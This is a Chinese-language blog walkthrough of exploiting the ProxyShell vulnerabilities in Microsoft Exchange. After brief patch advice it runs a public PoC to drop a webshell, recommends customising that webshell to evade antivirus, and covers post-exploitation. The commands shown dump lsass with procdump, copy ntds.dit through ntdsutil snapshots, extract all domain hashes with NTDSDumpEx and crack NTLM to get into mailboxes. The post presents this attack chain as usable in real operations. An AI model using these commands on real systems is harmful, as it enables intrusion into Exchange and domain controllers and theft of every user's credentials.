ProxyShell简介
ProxyShell 由三个漏洞组成:
CVE-2021-34473:可导致 ACL 绕过的预认证路径混淆漏洞
CVE-2021-34523:在 Exchange PowerShell 后台的提权漏洞
CVE-2021-31207:可导致 RCE 的认证后任意文件写漏洞
未认证攻击者可利用 ProxyShell 漏洞通过被暴露的端口443在微软 Exchange Server 上执行任意命令。
与3月份微软修复的Proxylogon漏洞相比,ProxyShell不需要知道目标管理员邮箱即可利用,危害性更高。
影响范围
Microsoft Exchange Server 2010
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
处置建议
当前微软官方已发布以上漏洞受影响版本的安全补丁,强烈建议受影响的用户尽快安装安全补丁进行防护。
建议受影响用户通过以下链接进行手动更新:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207
测试过程
测试环境
本地搭建的测试环境:
- Microsoft Windows Server 2016 Datacenter
- Exchange Server 2016 CU15 具体版本号可在owa页面查看源代码,在图标ico的链接处可以看到内部版本号。
根据微软官网Exchange Server内部版本号也可以进行对应
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
外部打点
访问目标并确认服务无异常
通过POC获取权限
https://github.com/dmaasland/proxyshell-poc
用法:
代码语言:python代码运行次数:0复制python3.8 proxyshell_rce.py -u https://小生观察室 -e administrator@小生观察室
该POC默认自带的马容易被查杀,在实战中建议对马内容进行自定义,我这里是进行修改后执行并获得shell
如需替换可利用ProxyShell_Payload对Conten里面的内容进行替换
利用工具:https://github.com/Ridter/proxyshell_payload
代码语言:javascript复制坑点:
实战中遇到很多Exchange的环境虽然是system权限,但依然无法执行命令,会出现拒绝访问等情况。一般出现这样的情况是被限制执行命令或者杀软导致,可以尝试BOF进行绕过【下一篇再详细说明】
该漏洞虽然不需要管理员邮箱,但是在实战中建议还是以Exchange Administrative Group
中的邮箱用户为主,但很多时候无法找到该组里面对应的邮箱地址,为此需要用到自动获取对应邮箱信息的脚本,可以在公众号回复ProxyShell获取邮箱
进行获取。
获取域控权限
进一步进行信息收集
通过对比进程发现存在杀软
查询域控制器
发现并没有返回常见的IPV4地址
这里利用到一个小技巧,可以通过nslookup直接寻找域控制器的地址
代码语言:javascript复制nslookup -type=SRV _ldap._tcp
经过对比IP地址发现当前exchange服务器与域控机器为同一台。
代码语言:javascript复制这里因为本地测试,所以环境全部搭建在一起,实战中也会遇到这样的情况,但也有出现不同的机器进行分别管理
获取域控hash
既然已经确定了机器位置就尝试去获取Hash,我这里为了方便用的是mimikatz procdump
的组合
将procdump上传到目标机器并执行
将lsass.dmp
文件打包并通过web的方式下载到本地
makecab C:inetpubwwwrootaspnet_clientlsass.dmp C:inetpubwwwrootaspnet_clientlsass.zip
将下载的lsass.zip
文件解压并存放在mimikatz同级目录下,并通过mimikatz获取域控管理员hash信息
获取到域管信息
对于这步如果感觉相对比较麻烦,可以直接使用pwdump8
说明文档
https://www.openwall.com/passwords/windows-pwdump
下载地址
https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump8-8.2.zip
获取域控内所有hash
先导出ntds.dit中的内容【在域控服务器上操作】
文件路径c:windowsntdsntds.dit
- 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
- 挂载快照
ntdsutil snapshot "mount {8b40c128-b348-4443-8197-fac604449900}" quit quit
- 复制ntds.dit文件
copy C:$SNAP_202109032304_VOLUMEC$windowsNTDSntds.dit ntds.dit
- 卸载快照
ntdsutil snapshot "unmount {8b40c128-b348-4443-8197-fac604449900}" quit quit
- 删除快照
ntdsutil snapshot "delete {8b40c128-b348-4443-8197-fac604449900}" quit quit
最后利用NTDSDumpEx
工具进行内容提取,将ntds.dit
和NTDSDumpEx
放在目前机器同一个文件夹下执行
https://github.com/zcgonvh/NTDSDumpEx/releases
如果在能获取system.hiv文件的情况下,就执行以下步骤
代码语言:javascript复制NTDSDumpEx.exe -d ntds.dit -s system.hiv -o xiaoshengguanchashi.txt -h -m -p
如果不能获取system.hiv
文件的情况下,执行如下步骤
- 获取当前系统的SYSKEY
NTDSDumpEx.exe -r
- 利用SYSKEY获取hash信息
NTDSDumpEx.exe -d ntds.dit -k 1026DD36333AEE8B3E593A5502A7967C -o xiaoshengguanchashi.txt -h -m -p
将生成的xiaoshengguanchashi.txt
下载到本地打开即可看到所有的hash信息
登录exchang邮箱
将NTML进行解密即可登录